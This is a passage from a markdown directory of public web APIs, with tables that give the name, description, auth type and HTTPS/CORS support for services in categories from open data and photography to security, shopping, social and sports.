[Recreation Information Database](https://ridb.recreation.gov/) \| Recreational areas, federal lands, historic sites, museums, and other attractions/resources(US) \| `apiKey` \| Yes \| Unknown \| \| [Scoop.it](http://www.scoop.it/dev) \| Content Curation Service \| `apiKey` \| No \| Unknown \| \| [Socrata](https://dev.socrata.com/) \| Access to Open Data from Governments, Non-profits and NGOs around the world \| `OAuth`\| Yes \| Yes \| \| [Sofiaplan](https://sofiaplan.bg/api/) \| Access to urban research data for the Bulgarian capital Sofia \| No \| Yes \| Yes \| \| [Teleport](https://developers.teleport.org/) \| Quality of Life Data \| No \| Yes \| Unknown \| \| [Umeå Open Data](https://opendata.umea.se/api/) \| Open data of the city Umeå in northern Sweden \| No \| Yes \| Yes \| \| [UniDb](https://unidbapi.com) \| Data that helps people gain useful insight into universities in the United Kingdom \| `apiKey` \| Yes \| Yes \| \| [Universities List](https://github.com/Hipo/university-domains-list) \| University names, countries and domains \| No \| Yes \| Unknown \| \| [University of Oslo](https://data.uio.no/) \| Courses, lecture videos, detailed information for courses etc. for the University of Oslo (Norway) \| No \| Yes \| Unknown \| \| [UPC database](https://upcdatabase.org/api) \| More than 1.5 million barcode numbers from all around the world \| `apiKey` \| Yes \| Unknown \| \| [Urban Observatory](https://urbanobservatory.ac.uk) \| The largest set of publicly available real time urban data in the UK \| No \| No \| No \| \| [Wikidata](https://www.wikidata.org/w/api.php?action=help) \| Collaboratively edited knowledge base operated by the Wikimedia Foundation \| `OAuth`\| Yes \| Unknown \| \| [Wikipedia](https://www.mediawiki.org/wiki/API:Main_page) \| Mediawiki Encyclopedia \| No \| Yes \| Unknown \| \| [Yelp](https://www.yelp.com/developers/documentation/v3) \| Find Local Business \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Open Source Projects \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Countly](https://api.count.ly/reference) \| Countly web analytics \| No \| No \| Unknown \| \| [Creative Commons Catalog](https://api.creativecommons.engineering/) \| Search among openly licensed and public domain works \| `OAuth` \| Yes \| Yes \| \| [Datamuse](https://www.datamuse.com/api/) \| Word-finding query engine \| No \| Yes \| Unknown \| \| [Drupal.org](https://www.drupal.org/drupalorg/docs/api) \| Drupal.org \| No \| Yes \| Unknown \| \| [Evil Insult Generator](https://evilinsult.com/api) \| Evil Insults \| No \| Yes \| Yes \| \| [GitHub Contribution Chart Generator](https://github-contributions.vercel.app) \| Create an image of your GitHub contributions \| No \| Yes \| Yes \| \| [GitHub Profile README Generator](https://github.com/Harman-Sandhu/github-profile-readme-generator) \| Generate an image for your GitHub Profile README \| No \| Yes \| Yes \| \| [GitHub ReadMe Stats](https://github.com/anuraghazra/github-readme-stats) \| Add dynamically generated statistics to your GitHub profile ReadMe \| No \| Yes \| Yes \| \| [Metabase](https://www.metabase.com/) \| An open source Business Intelligence server to share data and analytics inside your company \| No \| Yes \| Yes \| \| [Shields](https://shields.io/) \| Concise, consistent, and legible badges in SVG and raster format \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Patent \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [EPO](https://developers.epo.org/) \| European patent search system api \| `OAuth`\| Yes \| Unknown \| \| [PatentsView ](https://patentsview.org/apis/purpose) \| API is intended to explore and visualize trends/patterns across the US innovation landscape \| No \| Yes \| Unknown \| \| [TIPO](https://tiponet.tipo.gov.tw/Gazette/OpenData/OD/OD05.aspx?QryDS=API00) \| Taiwan patent search system api \| `apiKey` \| Yes \| Unknown \| \| [USPTO](https://www.uspto.gov/learning-and-resources/open-data-and-mobility) \| USA patent api services \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Personality \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Advice Slip](http://api.adviceslip.com/) \| Generate random advice slips \| No \| Yes \| Unknown \| \| [Dev.to](https://developers.forem.com/api) \| Access Forem articles, users and other resources via API \| `apiKey` \| Yes \| Unknown \| \| [Dictum](https://github.com/fisenkodv/dictum) \| API to get access to the collection of the most inspiring expressions of mankind \| No \| Yes \| Unknown \| \| [FavQs.com](https://favqs.com/api) \| FavQs allows you to collect, discover and share your favorite quotes \| `apiKey` \| Yes \| Unknown \| \| [Forismatic](http://forismatic.com/en/api/) \| Inspirational Quotes \| No \| No \| Unknown \| \| [icanhazdadjoke](https://icanhazdadjoke.com/api) \| The largest selection of dad jokes on the internet \| No \| Yes \| Unknown \| \| [kanye.rest](https://kanye.rest) \| REST API for random Kanye West quotes \| No \| Yes \| Yes \| \| [Medium](https://github.com/Medium/medium-api-docs) \| Community of readers and writers offering unique perspectives on ideas \| `OAuth`\| Yes \| Unknown \| \| [Programming Quotes](https://github.com/skolakoda/programming-quotes-api) \| Programming Quotes API for open source projects \| No \| Yes \| Unknown \| \| [Quotable Quotes](https://github.com/lukePeavey/quotable) \| Quotable is a free, open source quotations API \| No \| Yes \| Unknown \| \| [Quote Garden](https://pprathameshmore.github.io/QuoteGarden/) \| REST API for more than 5000 famous quotes \| No \| Yes \| Unknown \| \| [quoteclear](https://quoteclear.web.app/) \| Ever-growing list of James Clear quotes from the 3-2-1 Newsletter \| No \| Yes \| Yes \| \| [Quotes on Design](https://quotesondesign.com/api/) \| Inspirational Quotes \| No \| Yes \| Unknown \| \| [Stoicism Quote](https://github.com/tlcheah2/stoic-quote-lambda-public-api) \| Quotes about Stoicism \| No \| Yes \| Unknown \| \| [They Said So Quotes](https://theysaidso.com/api/) \| Quotes Trusted by many fortune brands around the world \| No \| Yes \| Unknown \| \| [Traitify](https://app.traitify.com/developer) \| Assess, collect and analyze Personality \| No \| Yes \| Unknown \| \| [Udemy(instructor)](https://www.udemy.com/developers/instructor/) \| API for instructors on Udemy \| `apiKey` \| Yes \| Unknown \| \| [Vadivelu HTTP Codes](https://vadivelu.anoram.com/) \| On demand HTTP Codes with images \| No \| Yes \| No \| \| [Zen Quotes](https://zenquotes.io/) \| Large collection of Zen quotes for inspiration \| No \| Yes \| Yes \| [⬆ Back to Index](#index) ### Phone \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Abstract Phone Validation](https://www.abstractapi.com/phone-validation-api) \| Validate phone numbers globally \| `apiKey` \| Yes \| Yes \| \| [Cloudmersive Validate](https://cloudmersive.com/phone-number-validation-API) \| Validate international phone numbers \| `apiKey` \| Yes \| Yes \| \| [NumlookupAPI](https://numlookupapi.com) \| Worldwide Phone Number Lookup & Verification API \| `apiKey` \| Yes \| Yes \| \| [Phone Specification](https://github.com/azharimm/phone-specs-api) \| Rest Api for Phone specifications \| No \| Yes \| Yes \| \| [Proweblook Phone Number Checker](https://proweblook.com/phone-number-validator) \| Phone number validation \| `apiKey` \| Yes \| Yes \| \| [Veriphone](https://veriphone.io) \| Phone number validation & carrier lookup \| `apiKey` \| Yes \| Yes \| \| [Proweblook Whatsapp Contact Checker](https://proweblook.com/whatsapp-number-checker) \| Whatsapp number validation \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Photography \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [APITemplate.io](https://apitemplate.io) \| Dynamically generate images and PDFs from templates with a simple API \| `apiKey` \| Yes \| Yes \| \| [Bruzu](https://docs.bruzu.com) \| Image generation with query string \| `apiKey` \| Yes \| Yes \| \| [CheetahO](https://cheetaho.com/docs/getting-started/) \| Photo optimization and resize \| `apiKey` \| Yes \| Unknown \| \| [Dagpi](https://dagpi.xyz) \| Image manipulation and processing \| `apiKey` \| Yes \| Unknown \| \| [Duply](https://app.duply.co/docs) \| Generate, Edit, Scale and Manage Images and Videos Smarter & Faster \| `apiKey` \| Yes \| Yes \| \| [DynaPictures](https://dynapictures.com/docs/) \| Generate Hundreds of Personalized Images in Minutes \| `apiKey` \| Yes \| Yes \| \| [Flickr](https://www.flickr.com/services/api/) \| Flickr Services \| `OAuth`\| Yes \| Unknown \| \| [Getty Images](http://developers.gettyimages.com/en/) \| Build applications using the world's most powerful imagery \| `OAuth`\| Yes \| Unknown \| \| [Gfycat](https://developers.gfycat.com/api/) \| Jiffier GIFs \| `OAuth`\| Yes \| Unknown \| \| [Giphy](https://developers.giphy.com/docs/) \| Get all your gifs \| `apiKey` \| Yes \| Unknown \| \| [Google Photos](https://developers.google.com/photos) \| Integrate Google Photos with your apps or devices \| `OAuth`\| Yes \| Unknown \| \| [Imgur](https://apidocs.imgur.com/) \| Images \| `OAuth`\| Yes \| Unknown \| \| [Lorem Picsum](https://picsum.photos/) \| Images from Unsplash \| No \| Yes \| Unknown \| \| [ObjectCut](https://objectcut.com/) \| Image Background removal \| `apiKey` \| Yes \| Yes \| \| [Pexels](https://www.pexels.com/api/) \| Free Stock Photos and Videos \| `apiKey` \| Yes \| Yes \| \| [PhotoRoom](https://www.photoroom.com/api/) \| Remove background from images \| `apiKey` \| Yes \| Unknown \| \| [Pixabay](https://pixabay.com/sk/service/about/api/) \| Photography \| `apiKey` \| Yes \| Unknown \| \| [PlaceKeanu](https://placekeanu.com/) \| Resizable Keanu Reeves placeholder images with grayscale and young Keanu options \| No \| Yes \| Unknown \| \| [Readme typing SVG](https://github.com/DenverCoder1/readme-typing-svg) \| Customizable typing and deleting text SVG \| No \| Yes \| Unknown \| \| [Remove.bg](https://www.remove.bg/api) \| Image Background removal \| `apiKey` \| Yes \| Unknown \| \| [ReSmush.it](https://resmush.it/api) \| Photo optimization \| No \| No \| Unknown \| \| [shutterstock](https://api-reference.shutterstock.com/) \| Stock Photos and Videos \| `OAuth`\| Yes \| Unknown \| \| [Sirv](https://apidocs.sirv.com/) \| Image management solutions like optimization, manipulation, hosting \| `apiKey` \| Yes \| Unknown \| \| [Templated](https://templated.io) \| Generate images and PDFs with a simple API. Design in a Canva-like editor and render images with code \| `apiKey` \| Yes \| Yes \| \| [Unsplash](https://unsplash.com/developers) \| Photography \| `OAuth`\| Yes \| Unknown \| \| [Wallhaven](https://wallhaven.cc/help/api) \| Wallpapers \| `apiKey` \| Yes \| Unknown \| \| [Webdam](https://www.damsuccess.com/hc/en-us/articles/202134055-REST-API) \| Images \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Podcasts \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [iTunes](https://developer.apple.com/library/archive/documentation/AudioVideo/Conceptual/iTuneSearchAPI/index.html#//apple_ref/doc/uid/TP40017632-CH3-SW1) \| Apple Podcasts Directory \| No \| Yes \| Unknown \| \| [PodcastIndex](https://podcastindex-org.github.io/docs-api/) \| Get details on podcasts & episodes, Podcast Search \| `apiKey`\| Yes \| Unknown \| \| [Spotify](https://developer.spotify.com/documentation/web-api/) \| Get details on podcasts & episodes \| `OAuth` \| Yes \| Unknown \| \| [Taddy Podcasts](https://taddy.org/developers/podcast-api) \| Get details on podcasts & episodes, Podcast & Episode Search, Webhook notifications \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Programming \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Codeforces](https://codeforces.com/apiHelp) \| Get access to Codeforces data \| `apiKey` \| Yes \| Unknown \| \| [Hackerearth](https://www.hackerearth.com/docs/wiki/developers/v4/) \| For compiling and running code in several languages \| `apiKey` \| Yes \| Unknown \| \| [Judge0 CE](https://ce.judge0.com/) \| Online code execution system \| `apiKey` \| Yes \| Unknown \| \| [Let's Count](https://letscountapi.com) \| Create, retrieve, update, increment, and decrement counters identified by namespace and key \| No \| Yes \| Unknown \| \| [Pythonium](https://pythonium.net/linter) \| Validate Python code syntax \| No \| Yes \| No \| \| [Softwium](https://softwium.com/sql-validator/) \| Validate SQL queries \| No \| Yes \| No \| \| [Volca](https://volca.io#api) \| List of programming languages and technologies \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Science & Math \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [arcsecond.io](https://api.arcsecond.io/) \| Multiple astronomy data sources \| `apiKey` \| Yes \| Unknown \| \| [arXiv](https://arxiv.org/help/api/user-manual) \| Curated research-sharing platform: physics, mathematics, quantitative finance, and economics \| No \| Yes \| Unknown \| \| [CORE](https://core.ac.uk/services#api) \| Access the world's Open Access research papers \| `apiKey` \| Yes \| Unknown \| \| [GBIF](https://www.gbif.org/developer/summary) \| Global Biodiversity Information Facility \| No \| Yes \| Yes \| \| [iDigBio](https://github.com/idigbio/idigbio-search-api/wiki) \| Access millions of museum specimens from organizations around the world \| No \| Yes \| Unknown \| \| [inspirehep.net](https://github.com/inspirehep/rest-api-doc) \| High Energy Physics info. system \| No \| Yes \| Unknown \| \| [isEven (humor)](https://isevenapi.xyz/) \| Check if a number is even \| No \| Yes \| Unknown \| \| [ISRO](https://isro.vercel.app) \| ISRO Space Crafts Information \| No \| Yes \| No \| \| [ISRO Statistics](https://isrostats.in/apis) \| ISRO Launches and Spacecrafts details \| No \| Yes \| Yes \| \| [ITIS](https://www.itis.gov/ws_description.html) \| Integrated Taxonomic Information System \| No \| Yes \| Unknown \| \| [Launch Library 2](https://thespacedevs.com/llapi) \| Spaceflight launches and events database \| No \| Yes \| Yes \| \| [Materials Platform for Data Science](https://mpds.io) \| Curated experimental data for materials science \| `apiKey` \| Yes \| No \| \| [Minor Planet Center](http://www.asterank.com/mpc) \| Asterank.com Information \| No \| No \| Unknown \| \| [NASA](https://api.nasa.gov) \| NASA data, including imagery \| No \| Yes \| No \| \| [NASA ADS](https://ui.adsabs.harvard.edu/help/api/api-docs.html) \| NASA Astrophysics Data System \| `OAuth`\| Yes \| Yes \| \| [Newton](https://newton.vercel.app) \| Symbolic and Arithmetic Math Calculator \| No \| Yes \| No \| \| [Noctua](https://api.noctuasky.com/api/v1/swaggerdoc/) \| REST API used to access NoctuaSky features \| No \| Yes \| Unknown \| \| [Numbers](https://math.tools/api/numbers/) \| Number of the day, random number, number facts and anything else you want to do with numbers \| `apiKey` \| Yes \| No \| \| [Numbers](http://numbersapi.com) \| Facts about numbers \| No \| No \| No \| \| [Open Notify](http://open-notify.org/Open-Notify-API/) \| ISS astronauts, current location, etc \| No \| No \| No \| \| [Open Science Framework](https://developer.osf.io) \| Repository and archive for study designs, research materials, data, manuscripts, etc \| No \| Yes \| Unknown \| \| [Prime Number](https://prime-number-api-docs.onrender.com/) \| Check if a number(s) is prime, or query a list of prime numbers \| No \| Yes \| Yes \| \| [Purple Air](https://www2.purpleair.com/) \| Real Time Air Quality Monitoring \| No \| Yes \| Unknown \| \| [Remote Calc](https://github.com/elizabethadegbaju/remotecalc) \| Decodes base64 encoding and parses it to return a solution to the calculation in JSON \| No \| Yes \| Yes \| \| [Satellite Passes](https://sat.terrestre.ar) \| Find satellite passes \| No \| Yes \| Yes \| \| [SHARE](https://share.osf.io/api/v2/) \| A free, open, dataset about research and scholarly activities \| No \| Yes \| No \| \| [SpaceX](https://github.com/r-spacex/SpaceX-API) \| Company, vehicle, launchpad and launch data \| No \| Yes \| No \| \| [Sunrise and Sunset](https://sunrise-sunset.org/api) \| Sunset and sunrise times for a given latitude and longitude \| No \| Yes \| No \| \| [Times Adder](https://github.com/FranP-code/API-Times-Adder) \| With this API you can add each of the times introduced in the array sent \| No \| Yes \| No \| \| [TLE](https://tle.ivanstanojevic.me/#/docs) \| Satellite information \| No \| Yes \| No \| \| [USGS Earthquake Hazards Program](https://earthquake.usgs.gov/fdsnws/event/1/) \| Earthquakes data real-time \| No \| Yes \| No \| \| [USGS Water Services](https://waterservices.usgs.gov/) \| Water quality and level info for rivers and lakes \| No \| Yes \| No \| \| [World Bank](https://datahelpdesk.worldbank.org/knowledgebase/topics/125589) \| World Data \| No \| Yes \| No \| [⬆ Back to Index](#index) ### Security \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Application Environment Verification](https://github.com/fingerprintjs/aev) \| Android library and API to verify the safety of user devices, detect rooted devices and other risks \| `apiKey` \| Yes \| Yes \| \| [BinaryEdge](https://docs.binaryedge.io/api-v2.html) \| Provide access to BinaryEdge 40fy scanning platform \| `apiKey` \| Yes \| Yes \| \| [BitWarden](https://bitwarden.com/help/api/) \| Best open-source password manager \| `OAuth`\| Yes \| Unknown \| \| [Botd](https://github.com/fingerprintjs/botd) \| Botd is a browser library for JavaScript bot detection \| `apiKey` \| Yes \| Yes \| \| [Bugcrowd](https://docs.bugcrowd.com/api/getting-started/) \| Bugcrowd API for interacting and tracking the reported issues programmatically \| `apiKey` \| Yes \| Unknown \| \| [Censys](https://search.censys.io/api) \| Search engine for Internet connected host and devices \| `apiKey` \| Yes \| No \| \| [Classify](https://github.com/cheatsnake/classify) \| Encrypting & decrypting text messages \| No \| Yes \| Yes \| \| [Complete Criminal Checks](https://completecriminalchecks.com/Developers) \| Provides data of offenders from all U.S. States and Pureto Rico \| `apiKey` \| Yes \| Yes \| \| [CRXcavator](https://crxcavator.io/apidocs) \| Chrome extension risk scoring \| `apiKey` \| Yes \| Unknown \| \| [Dehash.lt](https://github.com/Dehash-lt/api) \| Hash decryption MD5, SHA1, SHA3, SHA256, SHA384, SHA512\| No \| Yes \| Unknown \| \| [EmailRep](https://docs.emailrep.io/) \| Email address threat and risk prediction \| No \| Yes \| Unknown \| \| [Escape](https://github.com/polarspetroll/EscapeAPI) \| An API for escaping different kind of queries \| No \| Yes \| No \| \| [FilterLists](https://filterlists.com) \| Lists of filters for adblockers and firewalls \| No \| Yes \| Unknown \| \| [FingerprintJS Pro](https://dev.fingerprintjs.com/docs) \| Fraud detection API offering highly accurate browser fingerprinting \| `apiKey` \| Yes \| Yes \| \| [FraudLabs Pro](https://www.fraudlabspro.com/developer/api/screen-order) \| Screen order information using AI to detect frauds \| `apiKey` \| Yes \| Unknown \| \| [FullHunt](https://api-docs.fullhunt.io/#introduction) \| Searchable attack surface database of the entire internet \| `apiKey` \| Yes \| Unknown \| \| [GitGuardian](https://api.gitguardian.com/doc) \| Scan files for secrets (API Keys, database credentials) \| `apiKey` \| Yes \| No \| \| [GreyNoise](https://docs.greynoise.io/reference/get_v3-community-ip) \| Query IPs in the GreyNoise dataset and retrieve a subset of the full IP context data \| `apiKey` \| Yes \| Unknown \| \| [HackerOne](https://api.hackerone.com/) \| The industry’s first hacker API that helps increase productivity towards creative bug bounty hunting \| `apiKey` \| Yes \| Unknown \| \| [Hashable](https://hashable.space/pages/api/) \| A REST API to access high level cryptographic functions and methods \| No \| Yes \| Yes \| \| [HaveIBeenPwned](https://haveibeenpwned.com/API/v3) \| Passwords which have previously been exposed in data breaches \| `apiKey` \| Yes \| Unknown \| \| [Intelligence X](https://github.com/IntelligenceX/SDK/blob/master/Intelligence%20X%20API.pdf) \| Perform OSINT via Intelligence X \| `apiKey` \| Yes \| Unknown \| \| [LoginRadius](https://www.loginradius.com/docs/) \| Managed User Authentication Service \| `apiKey` \| Yes \| Yes \| \| [Microsoft Security Response Center (MSRC)](https://msrc.microsoft.com/report/developer) \| Programmatic interfaces to engage with the Microsoft Security Response Center (MSRC) \| No \| Yes \| Unknown \| \| [Mozilla http scanner](https://github.com/mozilla/http-observatory/blob/master/httpobs/docs/api.md) \| Mozilla observatory http scanner \| No \| Yes \| Unknown \| \| [Mozilla tls scanner](https://github.com/mozilla/tls-observatory#api-endpoints) \| Mozilla observatory tls scanner \| No \| Yes \| Unknown \| \| [National Vulnerability Database](https://nvd.nist.gov/vuln/Data-Feeds/JSON-feed-changelog) \| U.S. National Vulnerability Database \| No \| Yes \| Unknown \| \| [OWASP ZAP](https://www.zaproxy.org/docs/api/) \| Automated security testing API for web apps \| No \| Yes \| Unknown \| \| [Passwordinator](https://github.com/fawazsullia/password-generator/) \| Generate random passwords of varying complexities \| No \| Yes \| Yes \| \| [PhishStats](https://phishstats.info/) \| Phishing database \| No \| Yes \| Unknown \| \| [Privacy.com](https://privacy.com/developer/docs) \| Generate merchant-specific and one-time use credit card numbers that link back to your bank \| `apiKey` \| Yes \| Unknown \| \| [Pulsedive](https://pulsedive.com/api/) \| Scan, search and collect threat intelligence data in real-time \| `apiKey` \| Yes \| Unknown \| \| [SecurityTrails](https://securitytrails.com/corp/apidocs) \| Domain and IP related information such as current and historical WHOIS and DNS records \| `apiKey` \| Yes \| Unknown \| \| [Shodan](https://developer.shodan.io/) \| Search engine for Internet connected devices \| `apiKey` \| Yes \| Unknown \| \| [Spyse](https://spyse-dev.readme.io/reference/quick-start) \| Access data on all Internet assets and build powerful attack surface management applications \| `apiKey` \| Yes \| Unknown \| \| [Threat Jammer](https://threatjammer.com/docs/index) \| Risk scoring service from curated threat intelligence data \| `apiKey` \| Yes \| Unknown \| \| [UK Police](https://data.police.uk/docs/) \| UK Police data \| No \| Yes \| Unknown \| \| [Virushee](https://api.virushee.com/) \| Virushee file/data scanning \| No \| Yes \| Yes \| \| [VulDB](https://vuldb.com/?doc.api) \| VulDB API allows to initiate queries for one or more items along with transactional bots \| `apiKey` \| Yes \| Unknown \| \| [Whoisfreaks](https://whoisfreaks.com/) \| Domain and DNS related information that will equip organizaion with comprehensive threat intelligence and attack surface analysis capabilities for enhanced security \| `apiKey` \| Yes \| No \| [⬆ Back to Index](#index) ### Shopping \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Best Buy](https://bestbuyapis.github.io/api-documentation/#overview) \| Products, Buying Options, Categories, Recommendations, Stores and Commerce \| `apiKey` \| Yes \| Unknown \| \| [Canopy](https://www.canopyapi.co/) \| A modern API for Amazon Data \| `apiKey` \| Yes \| Unknown \| \| [Digi-Key](https://www.digikey.com/en/resources/api-solutions) \| Retrieve price and inventory of electronic components as well as place orders \| `OAuth`\| Yes \| Unknown \| \| [eBay](https://developer.ebay.com/) \| Sell and Buy on eBay \| `OAuth`\| Yes \| Unknown \| \| [Etsy](https://www.etsy.com/developers/documentation/getting_started/api_basics) \| Manage shop and interact with listings \| `OAuth`\| Yes \| Unknown \| \| [Flipkart Marketplace](https://seller.flipkart.com/api-docs/FMSAPI.html) \| Product listing management, Order Fulfilment in the Flipkart Marketplace \| `OAuth`\| Yes \| Yes \| \| [Lazada](https://open.lazada.com/doc/doc.htm) \| Retrieve product ratings and seller performance metrics \| `apiKey` \| Yes \| Unknown \| \| [Mercadolibre](https://developers.mercadolibre.cl/es_ar/api-docs-es) \| Manage sales, ads, products, services and Shops \| `apiKey` \| Yes \| Unknown \| \| [Octopart](https://octopart.com/api/v4/reference) \| Electronic part data for manufacturing, design, and sourcing \| `apiKey` \| Yes \| Unknown \| \| [OLX Poland](https://developer.olx.pl/api/doc#section/) \| Integrate with local sites by posting, managing adverts and communicating with OLX users \| `apiKey` \| Yes \| Unknown \| \| [Platzi Fake Store](https://fakeapi.platzi.com/) \| A fake store API for your e-commerce or shopping website prototype. For testing and learning \| `apiKey` \| Yes \| Unknown \| \| [Printful](https://developers.printful.com/) \| Printful's official API to manage and integrate their services \| `OAuth` \| Yes \| Unknown \| \| [Printify](https://developers.printify.com/) \| Printify's official API to manage and integrate their services \| `OAuth` \| Yes \| Unknown \| \| [Rappi](https://dev-portal.rappi.com/) \| Manage orders from Rappi's app \| `OAuth`\| Yes \| Unknown \| \| [Shopee](https://open.shopee.com/documents?version=1) \| Shopee's official API for integration of various services from Shopee \| `apiKey` \| Yes \| Unknown \| \| [Tokopedia](https://developer.tokopedia.com/openapi/guide/#/) \| Tokopedia's Official API for integration of various services from Tokopedia \| `OAuth`\| Yes \| Unknown \| \| [WooCommerce](https://woocommerce.github.io/woocommerce-rest-api-docs/) \| WooCommerce REST APIS to create, read, update, and delete data on wordpress website in JSON format \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Social \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [4chan](https://github.com/4chan/4chan-API) \| Simple image-based bulletin board dedicated to a variety of topics \| No \| Yes \| Yes \| \| [Ayrshare](https://www.ayrshare.com) \| Social media APIs to post, get analytics, and manage multiple users social media accounts \| `apiKey` \| Yes \| Yes \| \| [Blogger](https://developers.google.com/blogger/) \| The Blogger APIs allows client applications to view and update Blogger content \| `OAuth`\| Yes \| Unknown \| \| [Discord](https://discord.com/developers/docs/intro) \| Make bots for Discord, integrate Discord onto an external platform \| `OAuth`\| Yes \| Unknown \| \| [Disqus](https://disqus.com/api/docs/auth/) \| Communicate with Disqus data \| `OAuth`\| Yes \| Unknown \| \| [Facebook](https://developers.facebook.com/) \| Facebook Login, Share on FB, Social Plugins, Analytics and more \| `OAuth`\| Yes \| Unknown \| \| [Foursquare](https://developer.foursquare.com/) \| Interact with Foursquare users and places (geolocation-based checkins, photos, tips, events, etc) \| `OAuth`\| Yes \| Unknown \| \| [Full Contact](https://docs.fullcontact.com/) \| Get Social Media profiles and contact Information \| `OAuth`\| Yes \| Unknown \| \| [HackerNews](https://github.com/HackerNews/API) \| Social news for CS and entrepreneurship \| No \| Yes \| Unknown \| \| [Hashnode](https://hashnode.com) \| A blogging platform built for developers \| No \| Yes \| Unknown \| \| [Hashtag](https://mukeshsolanki.gitbook.io/hashtag-api/) \| Generate Hashtags using a keyword or an Image \| `apiKey` \| Yes \| Unknown \| \| [Instagram](https://www.instagram.com/developer/) \| Instagram Login, Share on Instagram, Social Plugins and more \| `OAuth`\| Yes \| Unknown \| \| [Kakao](https://developers.kakao.com/) \| Kakao Login, Share on KakaoTalk, Social Plugins and more \| `OAuth`\| Yes \| Unknown \| \| [Lanyard](https://github.com/Phineas/lanyard) \| Retrieve your presence on Discord through an HTTP REST API or WebSocket \| No \| Yes \| Yes \| \| [Line](https://developers.line.biz/) \| Line Login, Share on Line, Social Plugins and more \| `OAuth`\| Yes \| Unknown \| \| [LinkedIn](https://docs.microsoft.com/en-us/linkedin/?context=linkedin/context) \| The foundation of all digital integrations with LinkedIn \| `OAuth`\| Yes \| Unknown \| \| [Meetup.com](https://www.meetup.com/api/guide) \| Data about Meetups from Meetup.com \| `apiKey` \| Yes \| Unknown \| \| [Microsoft Graph](https://docs.microsoft.com/en-us/graph/api/overview) \| Access the data and intelligence in Microsoft 365, Windows 10, and Enterprise Mobility \| `OAuth`\| Yes \| Unknown \| \| [NAVER](https://developers.naver.com/main/) \| NAVER Login, Share on NAVER, Social Plugins and more \| `OAuth`\| Yes \| Unknown \| \| [Open Collective](https://docs.opencollective.com/help/developers/api) \| Get Open Collective data \| No \| Yes \| Unknown \| \| [Pinterest](https://developers.pinterest.com/) \| The world's catalog of ideas \| `OAuth`\| Yes \| Unknown \| \| [Product Hunt](https://api.producthunt.com/v2/docs) \| The best new products in tech \| `OAuth`\| Yes \| Unknown \| \| [Reddit](https://www.reddit.com/dev/api) \| Homepage of the internet \| `OAuth`\| Yes \| Unknown \| \| [Revolt](https://developers.revolt.chat/api/) \| Revolt open source Discord alternative \| `apiKey` \| Yes \| Unknown \| \| [Saidit](https://www.saidit.net/dev/api) \| Open Source Reddit Clone \| `OAuth`\| Yes \| Unknown \| \| [Slack](https://api.slack.com/) \| Team Instant Messaging \| `OAuth`\| Yes \| Unknown \| \| [TamTam](https://dev.tamtam.chat/) \| Bot API to interact with TamTam \| `apiKey` \| Yes \| Unknown \| \| [Telegram Bot](https://core.telegram.org/bots/api) \| Simplified HTTP version of the MTProto API for bots \| `apiKey` \| Yes \| Unknown \| \| [Telegram MTProto](https://core.telegram.org/api#getting-started) \| Read and write Telegram data \| `OAuth`\| Yes \| Unknown \| \| [Telegraph](https://telegraph.org/api) \| Create attractive blogs easily, to share [Other domain - [graph.org](https://graph.org/api)]\| `apiKey` \| Yes \| Unknown \| \| [TikTok](https://developers.tiktok.com/doc/login-kit-web) \| Fetches user info and user's video posts on TikTok platform \| `OAuth`\| Yes \| Unknown \| \| [Trash Nothing](https://trashnothing.com/developer) \| A freecycling community with thousands of free items posted every day \| `OAuth`\| Yes \| Yes \| \| [Tumblr](https://www.tumblr.com/docs/en/api/v2) \| Read and write Tumblr Data \| `OAuth`\| Yes \| Unknown \| \| [Twitch](https://dev.twitch.tv/docs) \| Game Streaming API \| `OAuth`\| Yes \| Unknown \| \| [Twitter](https://developer.twitter.com/en/docs) \| Read and write Twitter data \| `OAuth`\| Yes \| No \| \| [vk](https://vk.com/dev/sites) \| Read and write vk data \| `OAuth`\| Yes \| Unknown \| \| [Webex](https://developer.webex.com) \| Team collaboration software \| `OAuth`\| Yes \| Yes \| [⬆ Back to Index](#index) ### Sports & Fitness \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [American Football Highlights API](https://highlightly.net/documentation/american-football/) \| Real time American Football (NFL/NCAA) highlights \| `apiKey`\| Yes \| Unknown \| \| [API-FOOTBALL](https://www.api-football.com/documentation-v3) \| Get information about Football Leagues & Cups \| `apiKey`\| Yes \| Yes \| \| [ApiMedic](https://apimedic.com/) \| ApiMedic offers a medical symptom checker API primarily for patients \| `apiKey`\| Yes \| Unknown \| \| [balldontlie](https://www.balldontlie.io) \| Balldontlie provides access to stats data from the NBA \| No \| Yes \| Yes \| \| [Basketball Highlights API](https://highlightly.net/documentation/basketball/) \| Real time basketball video highlights \| `apiKey`\| Yes \| Unknown \| \| [Canadian Football League (CFL)](http://api.cfl.ca/) \| Official JSON API providing real-time league, team and player statistics about the CFL \| `apiKey`\| Yes \| No \| \| [City Bikes](https://api.citybik.es/v2/) \| City Bikes around the world \| No \| Yes \| Unknown \| \| [Cloudbet](https://www.cloudbet.com/api/) \| Official Cloudbet API provides real-time sports odds and betting API to place bets programmatically \| `apiKey`\| Yes \| Yes \| \| [CollegeFootballData.com](https://collegefootballdata.com) \| Unofficial detailed American college football statistics, records, and results API \| `apiKey`\| Yes \| Unknown \| 